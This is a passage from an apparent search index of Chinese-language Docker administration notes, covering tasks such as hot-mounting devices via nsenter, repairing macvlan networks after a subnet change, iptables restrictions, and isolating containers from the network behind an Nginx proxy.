\\u5bb9\\u5668\\u5185\\u7ebf\\u7a0b\\u6570\\u91cf(PID\\u6570)\"},{\"location\":\"Docker/#_14\",\"title\":\"\\u8fd0\\u884c\\u4e2d\\u7684\\u5bb9\\u5668\\u6dfb\\u52a0\\u76ee\\u5f55\\u6302\\u8f7d\",\"text\":\"<p>Docker\\u81ea\\u8eab\\u53ea\\u5141\\u8bb8\\u5728\\u521b\\u5efa\\u5bb9\\u5668\\u7684\\u65f6\\u5019\\u6307\\u5b9a-v\\u8fdb\\u884c\\u76ee\\u5f55\\u6302\\u8f7d\\uff0c\\u600e\\u4e48\\u5728\\u4e0d\\u505c\\u6b62\\u5bb9\\u5668\\u7684\\u60c5\\u51b5\\u4e0b\\u589e\\u52a0\\u6302\\u8f7d\\u5462\\uff1f</p> <p>\\u6ce8\\u610f\\u6b64\\u65b9\\u6cd5\\u5728\\u5bb9\\u5668\\u91cd\\u542f\\u540e\\u5373\\u5931\\u6548\\uff0c\\u9700\\u8981\\u91cd\\u65b0\\u6302\\u8f7d</p> <p>\\u53c2\\u8003\\uff1ahttps://medium.com/kokster/mount-volumes-into-a-running-container-65a967bee3b5</p> <p>\\u65b9\\u6cd5\\u662f\\u628a\\u5757\\u8bbe\\u5907\\u6302\\u8f7d\\u5230\\u5bb9\\u5668\\u4e2d\\uff0c\\u7136\\u540e\\u53ef\\u4ee5\\u4f7f\\u7528bind mount</p> <p>\\u5047\\u8bbe\\u5bb9\\u5668\\u540d\\u79f0\\u4e3aapp_container\\uff0c\\u9700\\u8981\\u6302\\u8f7d/dev/sdb1\\u8fd9\\u4e2a\\u8bbe\\u5907\\uff0c\\u547d\\u4ee4\\u5982\\u4e0b\\uff1a</p> <p>Step1: \\u9996\\u5148\\u8981\\u67e5\\u770b\\u8bbe\\u5907id\\u4ee5\\u4fbf\\u5728\\u5bb9\\u5668\\u4e2dmknod\\u521b\\u5efa\\u8bbe\\u5907\\uff0c\\u7136\\u540e\\u4f7f\\u7528nsenter\\u4f7f\\u7528\\u4e3b\\u673a\\u7684\\u6743\\u9650\\u6302\\u8f7d\\u8bbe\\u5907</p> <p>Step2: \\u73b0\\u5728\\u5c31\\u53ef\\u4ee5\\u5728\\u5bb9\\u5668\\u4e2d\\u4f7f\\u7528/tmpmount\\u8bfb\\u53d6\\u5230\\u8bbe\\u5907\\u4e86\\uff0c\\u4f46\\u5982\\u679c\\u6211\\u4eec\\u53ea\\u9700\\u8981\\u6302\\u8f7d\\u5176\\u4e2d\\u4e00\\u4e2a\\u6587\\u4ef6\\u5939 \\u4f8b\\u5982\\u8bbe\\u5907\\u7684data\\u6587\\u4ef6\\u5939\\u6302\\u8f7d\\u5230\\u5bb9\\u5668\\u7684/newdata\\uff0c\\u8fd8\\u53ef\\u4ee5\\u7ee7\\u7eed\\u6267\\u884c\\uff1a</p> <p>Step3: \\u6700\\u540e\\u6e05\\u7406\\u6389\\u4e34\\u65f6\\u6302\\u8f7d\\u7684/tmpmount \\u4e0d\\u4f1a\\u5f71\\u54cdbind mount\\u6302\\u8f7d\\u51fa\\u6765\\u7684/newdata</p> <pre><code>CONTAINER_NAME=\\\"app_container\\\"\\nDEVICE_NAME=\\\"/dev/sdb1\\\"\\nMOUNT_SRC=\\\"data\\\"\\nMOUNT_TARGET=\\\"/newdata\\\"\\n\\n# Step1\\nx=$(grep $DEVICE_NAME /proc/self/mountinfo|cut -d ' ' -f 3)\\ndocker exec -it -u root $CONTAINER_NAME sh -c \\\"[ -b $DEVICE_NAME ] || mknod -m 0600 $DEVICE_NAME b ${x/:/ }\\\"\\nsudo nsenter --target \\\"$(docker inspect --format '{{.State.Pid}}' $CONTAINER_NAME)\\\" --mount --uts --ipc --net --pid --  sh -c \\\"mkdir -p /tmpmount;mount $DEVICE_NAME /tmpmount\\\"\\n\\n# Step2\\nsudo nsenter --target \\\"$(docker inspect --format '{{.State.Pid}}' $CONTAINER_NAME)\\\" --mount --uts --ipc --net --pid -- sh -c \\\"mkdir -p $MOUNT_TARGET; mount -o bind /tmpmount/$MOUNT_SRC $MOUNT_TARGET\\\"\\n\\n# Step3\\nsudo nsenter --target \\\"$(docker inspect --format '{{.State.Pid}}' $CONTAINER_NAME)\\\" --mount --uts --ipc --net --pid -- sh -c \\\"umount /tmpmount\\\"\\n</code></pre>\"},{\"location\":\"Docker/#docker32\",\"title\":\"Docker\\u4f7f\\u752832\\u4f4d\\u955c\\u50cf\",\"text\":\"<p>\\u4f8b\\u5982ubuntu16.04.5 32\\u4f4d\\u955c\\u50cf \\u4ece\\u8fd9\\u91cc\\u4e0b\\u8f7di386\\u540e\\u7f00\\u7684<code>ubuntu-base-16.04.5-base-i386.tar.gz</code>\\uff1a</p> <p>http://cdimage.ubuntu.com/ubuntu-base/releases/16.04/release/</p> <p>\\u4e0b\\u8f7d\\u4e86\\u4e4b\\u540e\\u76f4\\u63a5\\u4ea4\\u7ed9docker\\u5bfc\\u5165\\u5373\\u53ef\\uff1adocker import \\u6587\\u6863</p> <pre><code>cat ubuntu-base-16.04.5-base-i386.tar.gz|docker import - ubuntu1604_32bit\\n</code></pre>\"},{\"location\":\"Docker/#varlibdocker\",\"title\":\"\\u627e\\u5230/var/lib/docker\\u4e2d\\u5bb9\\u5668\\u7684\\u6570\\u636e\\u5b58\\u50a8\\u76ee\\u5f55\",\"text\":\"<p>\\u4f7f\\u7528docker-backup:</p> <pre><code>curl -Lo /usr/local/bin/docker-backup https://raw.githubusercontent.com/vincepare/docker-backup/master/docker-backup.sh &amp;&amp; chmod +x /usr/local/bin/docker-backup\\n\\ndocker-backup ls -w container\\n</code></pre> <p>\\u4e3e\\u4e2a\\u4f8b\\u5b50 Apache\\u5bb9\\u5668\\u7531\\u4e8e/tmp/httpd_lua_shm.1\\u7684\\u5b58\\u5728\\u8dd1\\u4e0d\\u8d77\\u6765\\uff0c\\u8bd5\\u8bd5\\u76f4\\u63a5\\u5220\\u9664\\u5bb9\\u5668\\u5185\\u7684\\u8fd9\\u4e2a\\u6587\\u4ef6</p> <pre><code>for i in `d ps -a|grep Exit|grep minutes|awk '{print $1}'`; do rm `docker-backup ls -w $i`/tmp/httpd_lua_shm.1; d start $i ; done\\n</code></pre>\"},{\"location\":\"Docker/#dockermacvlan\",\"title\":\"\\u642c\\u8fd0\\u670d\\u52a1\\u5668\\u540e\\u7f51\\u6bb5\\u53d8\\u5316 \\u76f4\\u63a5\\u4fee\\u6539Docker\\u5e95\\u5c42\\u6570\\u636e\\u5e93\\u548c\\u914d\\u7f6e\\u6587\\u4ef6\\u4fee\\u590dmacvlan\\u7f51\\u7edc\",\"text\":\"<p>\\u9700\\u6c42\\uff1a\\u670d\\u52a1\\u5668\\u673a\\u623f\\u642c\\u8fc1\\uff0c\\u4ece10.214.10.x\\u53d8\\u4e3a10.214.160.x\\uff0c\\u914d\\u7f6e\\u7684macvlan\\u5bb9\\u5668\\u5c31\\u4e0d\\u80fd\\u8bbf\\u95ee\\u4e86</p> <p>Docker\\u6ca1\\u6709\\u63d0\\u4f9b\\u4fee\\u6539\\u7f51\\u7edc\\u914d\\u7f6e\\u7684\\u65b9\\u6cd5\\uff0c\\u6211\\u4eec\\u5c31\\u76f4\\u63a5\\u6539Docker\\u7684\\u6570\\u636e\\u5e93\\u548c\\u914d\\u7f6e\\u6587\\u4ef6\\u5457</p> <p>\\u4e0d\\u8fd9\\u6837\\u76f4\\u63a5\\u6539\\u5e95\\u5c42\\u6587\\u4ef6\\u4e5f\\u662f\\u53ef\\u4ee5\\u7684\\uff0c\\u9700\\u8981\\u5148disconnect\\u65e7\\u7684macvlan\\u6240\\u6709\\u5bb9\\u5668\\uff0c\\u7136\\u540e\\u5220\\u6389\\u91cd\\u5efa\\u8fd9\\u4e2anetwork\\uff0c\\u518d\\u4e00\\u4e2a\\u4e2a\\u52a0\\u56de\\u6765</p> <p>\\u7f51\\u7edc\\u914d\\u7f6e\\u7684\\u6570\\u636e\\u5e93\\u5728<code>/var/lib/docker/network/files/local-kv.db</code>\\uff0c\\u672c\\u8d28\\u4e0a\\u662fboltdb\\uff0c\\u9700\\u8981\\u4f7f\\u7528docker\\u7684libkv\\u6765\\u8fdb\\u884c\\u8bbf\\u95ee</p> <p>\\u6ce8\\u610f\\u5230ip\\u524d\\u7f00\\u7684\\u957f\\u5ea6\\u53d1\\u751f\\u4e86\\u53d8\\u5316\\uff0c\\u76f4\\u63a5sed\\u662f\\u4e0d\\u884c\\u7684\\uff0c\\u4f1a\\u635f\\u574f\\u6570\\u636e\\u5e93\\uff08\\u5982\\u679c\\u957f\\u5ea6\\u6ca1\\u53d8\\u53ef\\u4ee5\\u76f4\\u63a5sed\\uff09\\uff0c\\u64cd\\u4f5c\\u524d\\u8bb0\\u5f97\\u5907\\u4efd</p> <p>\\u53c2\\u8003 https://blog.qiqitori.com/?p=463</p> <p>\\u52a0\\u4ee5\\u4fee\\u6539\\uff0c\\u9700\\u8981\\u5728<code>docker pull golang:1.8</code>\\u4e2d\\u7f16\\u8bd1\\u8fd0\\u884c</p> <pre><code>package main\\n\\nimport (\\n    \\\"time\\\"\\n    \\\"log\\\"\\n    \\\"strings\\\"\\n    \\\"github.com/docker/libkv\\\"\\n    \\\"github.com/docker/libkv/store\\\"\\n    \\\"github.com/docker/libkv/store/boltdb\\\"\\n)\\n\\nfunc init() {\\n    // Register boltdb store to libkv\\n    boltdb.Register()\\n}\\n\\nfunc main() {\\n    client := \\\"./local-kv.db\\\" // ./ appears to be necessary\\n\\n    // Initialize a new store\\n    kv, err := libkv.NewStore(\\n        store.BOLTDB, // or \\\"boltdb\\\"\\n        []string{client},\\n        &amp;store.Config{\\n            Bucket: \\\"libnetwork\\\",\\n            ConnectionTimeout: 10*time.Second,\\n        },\\n    )\\n    if err != nil {\\n        log.Fatalf(\\\"Cannot create store: %v\\\", err)\\n    }\\n\\n    pair, err := kv.List(\\\"docker/network\\\")\\n    for _, p := range pair {\\n        println(\\\"key:\\\", string(p.Key))\\n        val := strings.Replace(string(p.Value), \\\"10.214.10.\\\", \\\"10.214.160.\\\", -1)\\n        println(\\\"value:\\\", val)\\n        err = kv.Put(p.Key, []byte(val), nil)\\n    }\\n}\\n</code></pre> <p>\\u5176\\u4e2d\\u9700\\u8981\\u6ce8\\u610fgolang1.8\\u7684strings\\u6ca1\\u6709ReplaceAll\\u65b9\\u6cd5\\uff1bstring\\u8f6cbytes\\u6570\\u7ec4\\u7528<code>[]byte(...)</code>\\u5373\\u53ef\\uff1b<code>println</code>\\u4e0d\\u662ffmt\\u5e93\\u7684\\uff0c\\u662f\\u5f80stderr\\u8f93\\u51fa\\u7684</p> <p>\\u9664\\u4e86\\u7f51\\u7edc\\u6570\\u636e\\u5e93\\u8fd8\\u9700\\u8981\\u4fee\\u6539\\u5bb9\\u5668\\u7684.json\\u914d\\u7f6e\\u6587\\u4ef6\\uff1a<code>/var/lib/docker/containers/*/*.json</code></p> <pre><code>sed -i 's/10.214.10./10.214.160./g' /var/lib/docker/containers/*/*.json\\n</code></pre> <p>\\u7136\\u540e\\u5c31\\u80fd\\u542f\\u52a8docker\\u4e86\\uff0c\\u5982\\u679c\\u6709\\u5bb9\\u5668\\u7684\\u5f53\\u524dip\\u5df2\\u7ecf\\u88ab\\u5176\\u4ed6\\u8bbe\\u5907\\u5360\\u7528\\uff0c\\u53ef\\u4ee5\\u901a\\u8fc7\\u8131\\u79bb\\u7f51\\u7edc\\u518d\\u52a0\\u5165\\u6765\\u4fee\\u6539ip</p> <pre><code>docker network disconnect macvlan_name container_name\\ndocker network connect macvlan_name container_name --ip \\u65b0\\u7684ip\\n</code></pre> <p>\\u5982\\u679c\\u65b0\\u7684ip\\u8fd8\\u662fping\\u4e0d\\u4e86\\uff0c\\u8bd5\\u8bd5\\u91cd\\u542f\\u5bb9\\u5668</p>\"},{\"location\":\"Docker/#2\",\"title\":\"\\u83b7\\u53d62\\u4e2a\\u6708\\u524d\\u9000\\u51fa\\u7684\\u5bb9\\u5668\\u5217\\u8868\\uff0c\\u4ee5\\u7a7a\\u683c\\u5206\\u9694\",\"text\":\"<pre><code>docker ps -a --format '{{.Names}} {{.Status}}'|grep \\\"2 month\\\"|awk '{print $1}'|tr '\\\\r\\\\n' ' '\\n</code></pre>\"},{\"location\":\"Docker/#ping-ipnsenter\",\"title\":\"\\u5bb9\\u5668\\u5185\\u6ca1\\u6709ping, ip\\uff1f\\u76f4\\u63a5nsenter\\u8fdb\\u53bb\\u770b\\u770b\",\"text\":\"<pre><code>netin(){\\n    nsenter --target `docker inspect --format '{{.State.Pid}}' $1`  --net --pid /bin/bash\\n}\\n</code></pre> <p>\\u8fd9\\u662f\\u8fdb\\u5165docker\\u5bb9\\u5668\\u7684namespace\\uff0c\\u4f46\\u53ea\\u5207\\u6362\\u7f51\\u7edc\\u548c/proc\\uff0c\\u6587\\u4ef6\\u7cfb\\u7edf\\u7b49\\u8fd8\\u662f\\u4f7f\\u7528\\u4e3b\\u673a\\u7684</p> <p>\\u8fdb\\u5165\\u540ebash\\u4f3c\\u4e4e\\u6ca1\\u53d8\\uff0c\\u8fd9\\u65f6\\u53ef\\u4ee5ps\\u770b\\u770b\\u8fdb\\u7a0b\\u5217\\u8868\\u53d8\\u4e86\\u5c31\\u8bf4\\u660e\\u5728\\u5bb9\\u5668\\u91cc\\u9762\\u4e86\\uff0c\\u7136\\u540e\\u53ef\\u4ee5\\u6109\\u5feb\\u5730ifconfig\\u548cping\\u4e86</p> <p>\\u4e5f\\u53ef\\u4ee5\\u4f7f\\u7528ip\\u547d\\u4ee4\\u6307\\u5b9anetns\\u7684\\u65b9\\u5f0f<code>ip netns exec \\u540d\\u79f0 \\u547d\\u4ee4</code></p> <pre><code>#!/bin/bash\\nNAME=\\\"container name\\\"\\nmkdir -p /var/run/netns\\nID=`docker inspect --format='{{ .State.Pid }}' $NAME`\\nsudo ln -sf \\\"/proc/$ID/ns/net\\\" /var/run/netns/$NAME\\nexec sudo ip netns exec $NAME \\\"$@\\\"\\n</code></pre>\"},{\"location\":\"Docker/#macvlanip_2\",\"title\":\"\\u4e3amacvlan\\u7684\\u5bb9\\u5668\\u914d\\u7f6e\\u53ea\\u5141\\u8bb8IP\\u6bb5\\u8bbf\\u95ee\",\"text\":\"<p>\\u5c06\\u5bb9\\u5668\\u66b4\\u9732\\u5728\\u6574\\u4e2a\\u5185\\u7f51\\u8fd8\\u662f\\u4e0d\\u591f\\u5b89\\u5168\\uff0c\\u4e0d\\u5982\\u4f7f\\u7528iptables\\u53ea\\u5141\\u8bb8\\u7279\\u5b9aIP\\u6bb5\\u8bbf\\u95ee\\u8fd9\\u4e2a\\u5bb9\\u5668\\u7684IP</p> <p>\\u6309\\u4e0a\\u8ff0\\u64cd\\u4f5c\\u4e4b\\u540e\\uff0c\\u5047\\u8bbe\\u5bb9\\u5668\\u540d\\u79f0\\u4e3aname\\uff0c\\u90a3\\u4e48\\u6211\\u4eec\\u53ef\\u4ee5\\u5148\\u5efa\\u7acb\\u4e00\\u4e2aalias\\u6765\\u5feb\\u901fiptables:</p> <p>\\u53c2\\u8003\\uff1a https://unix.stackexchange.com/questions/11851/iptables-allow-certain-ips-and-block-all-other-connection</p> <pre><code>alias i=\\\"sudo ip netns exec name iptables\\\"\\ni -P FORWARD DROP # we aren't a router\\ni -A INPUT -m state --state INVALID -j DROP\\ni -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT\\ni -A INPUT -i lo -j ACCEPT\\ni -A INPUT -s 10.0.0.1/24 -j ACCEPT\\ni -A INPUT -s 172.19.0.1/24 -j ACCEPT\\ni -P INPUT DROP # Drop everything we don't accept\\n</code></pre> <p>\\u6548\\u679c\\u5c31\\u662f\\u53ea\\u6709\\u5185\\u7f5110.0.0.1-10.0.0.254\\u7684ip\\u624d\\u80fd\\u8bbf\\u95ee\\u8fd9\\u4e2a\\u5bb9\\u5668\\u7684IP\\uff0c\\u5176\\u4ed6\\u6765\\u6e90\\u90fd\\u4e0d\\u80fdping\\u901a\\u8fd9\\u4e2a\\u5bb9\\u5668</p> <p>\\u4e0b\\u9762\\u7684bash\\u811a\\u672c\\u4f1a\\u81ea\\u52a8\\u5bf9\\u5bb9\\u5668\\u7684\\u6240\\u6709IP\\u6bb5\\u5141\\u8bb8\\u8bbf\\u95ee\\uff0c\\u5e76\\u62d2\\u7edd\\u5176\\u4ed6\\u8bbf\\u95ee\\uff1a</p> <p>\\u5176\\u4e2d\\u7684docker inspect\\u547d\\u4ee4\\u53ef\\u4ee5\\u83b7\\u53d6\\u5bb9\\u5668\\u62e5\\u6709\\u7684\\u6240\\u6709IP</p> <pre><code>#!/bin/bash\\nset -ex\\nDOCKERNAME=\\\"xxx\\\"\\nNAME=\\\"xx\\\"\\n\\nshopt -s expand_aliases\\nsudo mkdir -p /var/run/netns\\nID=`docker inspect --format='{{ .State.Pid }}' ${DOCKERNAME}`\\nsudo ln -sf \\\"/proc/$ID/ns/net\\\" /var/run/netns/${NAME}\\nalias i=\\\"sudo ip netns exec ${NAME} iptables\\\"\\ni -F\\ni -P FORWARD DROP # we aren't a router\\ni -A INPUT -m state --state INVALID -j DROP\\ni -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT\\ni -A INPUT -i lo -j ACCEPT\\n\\ndocker inspect --format='{{range .NetworkSettings.Networks}}{{.IPAddress}}{{\\\"\\\\n\\\"}}{{end}}' ${DOCKERNAME}|xargs -i sudo ip netns exec ${NAME} iptables -A INPUT -s '{}/24' -j ACCEPT\\ni -P INPUT DROP # Drop everything we don't accept\\n</code></pre>\"},{\"location\":\"Docker/#varlibdocker_1\",\"title\":\"\\u4ece/var/lib/docker\\u63d0\\u53d6\\u5bb9\\u5668\\u5f00\\u59cb\\u65f6\\u95f4\",\"text\":\"<p>\\u8bfb\\u53d6/var/lib/docker/containers/*/config.v2.json\\u53ef\\u4ee5\\u8bfb\\u5230\\u5bb9\\u5668\\u5f00\\u59cb\\u65f6\\u95f4</p> <p>\\u4f46\\u4f7f\\u7528\\u540c\\u4e00\\u4e2a\\u6587\\u4ef6\\u5939\\u4e0bhostname\\u8fd9\\u4e2a\\u6587\\u4ef6\\u7684\\u65f6\\u95f4\\u6233\\u66f4\\u53ef\\u9760\\uff0c\\u65e0\\u9700\\u8003\\u8651\\u65f6\\u533a\\u6362\\u7b97\\u4e0d\\u540c\\u670d\\u52a1\\u5668\\u65f6\\u95f4\\u4e0d\\u540c\\u6b65\\u7b49\\u95ee\\u9898\\u3002\\u8ba1\\u7b97\\u6587\\u4ef6\\u4ea7\\u751f\\u7684\\u76f8\\u5bf9\\u65f6\\u95f4\\u7528os.path.getmtime(\\u8fd9\\u4e2a\\u6587\\u4ef6)\\u51cf\\u53bb\\u8fd9\\u4e2a\\u65f6\\u95f4\\u6233\\u5373\\u53ef\\u3002</p> <p>\\u5bfc\\u5165\\u5230mysql \\u5b8c\\u6574\\u4ee3\\u7801\\uff1a \\u6267\\u884c\\u7684\\u65f6\\u5019\\u9700\\u8981server name\\u4f5c\\u4e3a\\u53c2\\u6570</p> <pre><code>from bugid import runsql\\nimport os,sys,glob,json\\nimport datetime\\nimport re\\nserver = sys.argv[1]\\nos.chdir(\\\"/var/lib/docker/containers\\\")\\nsql = \\\"replace into dockers(server, name, id, starttime, runningtime, memlimit) values \\\"\\nsqlpending = []\\nt = 0\\nfor i in glob.glob(\\\"*/\\\"):\\n    if not os.path.exists(i+\\\"hostname\\\"):\\n        #print(i)\\n        continue\\n    data = json.loads(open(i+\\\"config.v2.json\\\").read())\\n    name = data[\\\"Name\\\"]\\n    starttime = data[\\\"State\\\"][\\\"StartedAt\\\"]\\n    endtime = data[\\\"State\\\"][\\\"FinishedAt\\\"]\\n    if endtime != \\\"0001-01-01T00:00:00Z\\\":\\n        runningtime = (datetime.datetime.strptime(endtime.split(\\\".\\\")[0], \\\"%Y-%m-%dT%H:%M:%S\\\") - datetime.datetime.strptime(starttime.split(\\\".\\\")[0], \\\"%Y-%m-%dT%H:%M:%S\\\")).total_seconds()\\n    else:\\n        runningtime = -1\\n    memlimit = int(json.load(open(i+\\\"hostconfig.json\\\"))[\\\"Memory\\\"]/1024/1024)\\n    sqlpending.extend([server, name[1:], i[:-1], int(os.path.getmtime(i+\\\"hostname\\\")), runningtime, memlimit])\\n    sql += \\\"(%s, %s, %s, %s, %s, %s),\\\"\\n\\n#print(sqlpending)\\nrunsql(sql[:-1], *sqlpending)\\n</code></pre>\"},{\"location\":\"Docker/#ip_1\",\"title\":\"\\u56fa\\u5b9a\\u5bb9\\u5668\\u7684IP\",\"text\":\"<p>\\u53c2\\u8003\\uff1a https://github.com/johnnian/Blog/issues/16</p> <p>\\u9ed8\\u8ba4\\u7684bridge\\u7f51\\u7edc\\u4e0d\\u652f\\u6301\\u6307\\u5b9aip\\uff0c\\u9700\\u8981\\u518d\\u521b\\u5efa\\u4e00\\u4e2a\\u7f51\\u7edc\\uff1a</p> <pre><code>docker network create --subnet=172.18.0.0/16 b\\n</code></pre> <p>\\u521b\\u5efa\\u5bb9\\u5668\\u7684\\u65f6\\u5019\\u53ef\\u4ee5<code>--network b --ip 172.18.0.2</code></p> <p>\\u5df2\\u7ecf\\u5b58\\u5728\\u7684\\u5bb9\\u5668\\u9700\\u8981\\u7528\\uff1a</p> <pre><code>docker network connect --ip 172.18.0.2 --alias ${name} b ${name}\\n</code></pre> <p>\\u4e0d\\u60f3\\u6539\\u52a8docker\\u7684network\\u8fd8\\u6709\\u4e2a\\u4e34\\u65f6\\u7684\\u529e\\u6cd5\\uff1a</p>\"},{\"location\":\"Docker/#ip-etchosts\",\"title\":\"\\u83b7\\u53d6\\u5bb9\\u5668IP \\u66f4\\u65b0\\u4e3b\\u673a/etc/hosts\",\"text\":\"<p>\\u9700\\u8981\\u5148\\u5c06\\u5f53\\u524d\\u7684hosts\\u6587\\u4ef6\\u590d\\u5236\\u4e3a/etc/hosts.base</p> <p>\\u5176\\u4e2dbridge\\u53ef\\u80fd\\u9700\\u8981\\u6539\\u6210docker inspect\\u8f93\\u51fa\\u7684\\u5176\\u4ed6network\\u540d\\u79f0</p> <pre><code>#!/bin/bash\\nif [[ $EUID -ne 0 ]]; then\\necho \\\"This script must be run as root\\\"\\nexit 1\\nfi\\ncp /etc/hosts.base /etc/hosts\\necho `docker inspect ${name} --format '{{.NetworkSettings.Networks.bridge.IPAddress}}'`  ${name} &gt;&gt; /etc/hosts\\n</code></pre> <p>\\u53e6\\u5916 \\u4f60\\u8fd8\\u53ef\\u4ee5\\u542f\\u52a8\\u4e2adns\\u670d\\u52a1\\u7684\\u5bb9\\u5668\\u6765\\u89e3\\u6790\\u5bb9\\u5668hostname:</p> <p>https://stackoverflow.com/questions/37242217/access-docker-container-from-host-using-containers-name/45071126#45071126</p>\"},{\"location\":\"Docker/#docker-web\",\"title\":\"Docker\\u5bb9\\u5668\\u7981\\u6b62\\u4e3b\\u52a8\\u8054\\u7f51 \\u4f46\\u5bf9\\u5916\\u63d0\\u4f9bweb\\u670d\\u52a1\",\"text\":\"<p>@TAG \\u7aef\\u53e3\\u6620\\u5c04 ctf</p> <p>\\u9996\\u5148\\u6392\\u9664<code>--network none</code>\\uff0c\\u8fd9\\u6837\\u6ca1\\u6709\\u7f51\\u5361\\u600e\\u4e48\\u505a\\u7aef\\u53e3\\u6620\\u5c04</p> <p>\\u4e0b\\u9762\\u5047\\u8bbe\\u5bb9\\u5668\\u540d\\u79f0\\u4e3a<code>${CONTAINER}</code>\\uff0c\\u5bb9\\u5668\\u542f\\u52a8\\u7684http\\u670d\\u52a1\\u7aef\\u53e3\\u4e3a5000</p>\"},{\"location\":\"Docker/#_15\",\"title\":\"\\u7b80\\u5355\\u65b9\\u6848 \\u76f4\\u63a5\\u5220\\u9664\\u9ed8\\u8ba4\\u8def\\u7531\",\"text\":\"<pre><code>nsenter --target `docker inspect --format '{{.State.Pid}}' ${CONTAINER}`  --net --pid route delete default\\n</code></pre> <p>\\u597d\\u5904\\u5728\\u4e8e\\u8bbf\\u95ee\\u7f51\\u7edc\\u7684\\u8bf7\\u6c42\\u80fd\\u8fc5\\u901f\\u62a5\\u9519<code>Network is unreachable</code>\\uff0c\\u4e5f\\u4e0d\\u9700\\u8981\\u989d\\u5916\\u7684\\u5bb9\\u5668\\u53c2\\u6570\\u914d\\u7f6e</p> <p>\\u4f46\\u5bb9\\u5668\\u6bcf\\u6b21\\u91cd\\u542f\\u90fd\\u9700\\u8981\\u91cd\\u65b0\\u6267\\u884c</p>\"},{\"location\":\"Docker/#nginx\",\"title\":\"\\u590d\\u6742\\u65b9\\u6848 \\u521b\\u5efa\\u4e2a\\u5185\\u90e8\\u7f51\\u7edc Nginx\\u8f6c\\u53d1\",\"text\":\"<p>docker\\u7684\\u521b\\u5efa\\u7f51\\u7edc\\u63d0\\u4f9b\\u4e86<code>--internal</code>\\u53c2\\u6570\\uff0c\\u610f\\u601d\\u662f\\u4e0d\\u5141\\u8bb8\\u8fd9\\u4e2a\\u7f51\\u7edc\\u8bbf\\u95ee\\u5916\\u754c\\uff0c\\u4f46\\u662f\\u8bbf\\u95ee\\u7f51\\u7edc\\u7684\\u8bf7\\u6c42\\u4e0d\\u4f1a\\u7acb\\u523b\\u8fd4\\u56de\\uff0c\\u6548\\u679c\\u50cf\\u662f\\u4e00\\u76f4\\u4e22\\u5305\\u5c31\\u6ca1\\u54cd\\u5e94</p> <p>\\u8fd9\\u91cc\\u6211\\u4eec\\u521b\\u5efa\\u4e00\\u4e2a\\u540d\\u4e3a<code>${CONTAINER}_nonet</code>\\u7684\\u7f51\\u7edc\\uff0c\\u542f\\u52a8\\u5bb9\\u5668\\u7684\\u65f6\\u5019\\u6307\\u5b9a\\u8fd9\\u4e2a\\u7f51\\u7edc\\u5e76\\u914d\\u7f6e\\u522b\\u540dapp</p> <p>\\u7136\\u540e\\u8fd8\\u9700\\u8981Nginx\\u5bb9\\u5668\\u540c\\u65f6\\u52a0\\u5165\\u9ed8\\u8ba4\\u7f51\\u7edc\\u548c\\u8fd9\\u4e2a\\u7f51\\u7edc\\u6765\\u8fdb\\u884c\\u8f6c\\u53d1\\uff0cNginx\\u5bb9\\u5668\\u4e00\\u5f00\\u59cb\\u521b\\u5efa\\u540e\\u7684\\u542f\\u52a8\\u4f1a\\u62a5\\u9519\\u53cd\\u590d\\u91cd\\u542f\\uff08\\u65e0\\u6cd5\\u89e3\\u6790app\\uff09\\uff0c\\u52a0\\u5165\\u7f51\\u7edc\\u540e\\u5373\\u53ef\\u6b63\\u5e38\\u542f\\u52a8</p> <pre><code>docker network create ${CONTAINER}_nonet --internal\\ndocker run --network ${CONTAINER}_nonet --network-alias app ...\\ndocker run --name ${CONTAINER}_nginx -d -v `pwd`/nginxconf:/etc/nginx/conf.d -p 20528:80 --restart=always nginx\\ndocker network connect ${CONTAINER}_nonet ${CONTAINER}_nginx --alias nginx\\n</code></pre> <p>\\u5176\\u4e2dnginxconf\\u6587\\u4ef6\\u5939\\u91cc\\u653e\\u4e00\\u4e2adefault.conf:</p> <pre><code>server {\\nlisten       80;\\nserver_name  localhost;\\nlocation / {\\nproxy_pass http://app:5000;\\nproxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;\\n}\\n}\\n</code></pre> <p>\\u65e2\\u7136\\u7528\\u4e86\\u53cd\\u5411\\u4ee3\\u7406\\uff0c\\u5e94\\u7528\\u5c42\\u4e5f\\u9700\\u8981\\u914d\\u7f6e\\u4e00\\u4e0bIP\\u76f8\\u5173\\u7684\\u4fee\\u590d\\u624d\\u80fd\\u4f7f\\u65e5\\u5fd7\\u663e\\u793a\\u8bbf\\u95ee\\u8005ip\\uff08\\u800c\\u4e0d\\u662fNginx\\u5bb9\\u5668\\u7684IP\\uff09\\uff0c\\u6bd4\\u5982Flask 1.0\\u9700\\u8981\\uff1a</p> <pre><code>from werkzeug.middleware.proxy_fix import ProxyFix\\napp.wsgi_app = ProxyFix(app.wsgi_app)\\n</code></pre> <p>\\u8fd9\\u4e2a\\u65b9\\u6848\\u6709\\u70b9\\u590d\\u6742\\uff0c\\u4f46\\u597d\\u5904\\u5728\\u4e8e\\u91cd\\u542f\\u5bb9\\u5668\\u4e0d\\u9700\\u8981\\u989d\\u5916\\u914d\\u7f6e\\uff0c\\u53cd\\u6b63\\u8fde\\u4e0d\\u4e0a\\u7f51</p> <p>\\u574f\\u5904\\u5728\\u4e8e\\u8bbf\\u95ee\\u7f51\\u7edc\\u7684\\u8bf7\\u6c42\\u4f1a\\u4e00\\u76f4\\u5361\\u4f4f\\uff0c\\u5e94\\u7528\\u5c42\\u9700\\u8981\\u81ea\\u5df1\\u8003\\u8651\\u8d85\\u65f6</p> <p>\\u4f60\\u53ef\\u4ee5\\u628a\\u8fd9\\u4e24\\u79cd\\u65b9\\u6848\\u7ed3\\u5408\\u8d77\\u6765\\uff0c\\u5373\\u4f7f\\u5fd8\\u4e86\\u5220\\u9ed8\\u8ba4\\u8def\\u7531\\u4e5f\\u80fd\\u4fdd\\u8bc1\\u4e0d\\u80fd\\u8054\\u7f51</p>\"},{\"location\":\"Docker/#registryapi\",\"title\":\"\\u79c1\\u6709registry\\u7684api\",\"text\":\"<p>\\u6587\\u6863\\uff1a https://docs.docker.com/registry/spec/api/</p> <p>\\u5217\\u51fa\\u6240\\u6709\\u955c\\u50cf\\uff1a <code>/v2/_catalog</code></p> <p>\\u5217\\u51fa\\u6307\\u5b9a\\u955c\\u50cf\\u7684\\u6240\\u6709\\u6807\\u7b7e\\uff1a <code>/v2/&lt;name&gt;/tags/list</code></p>\"},{\"location\":\"Docker/#docker-pull_1\",\"title\":\"\\u914d\\u7f6edocker 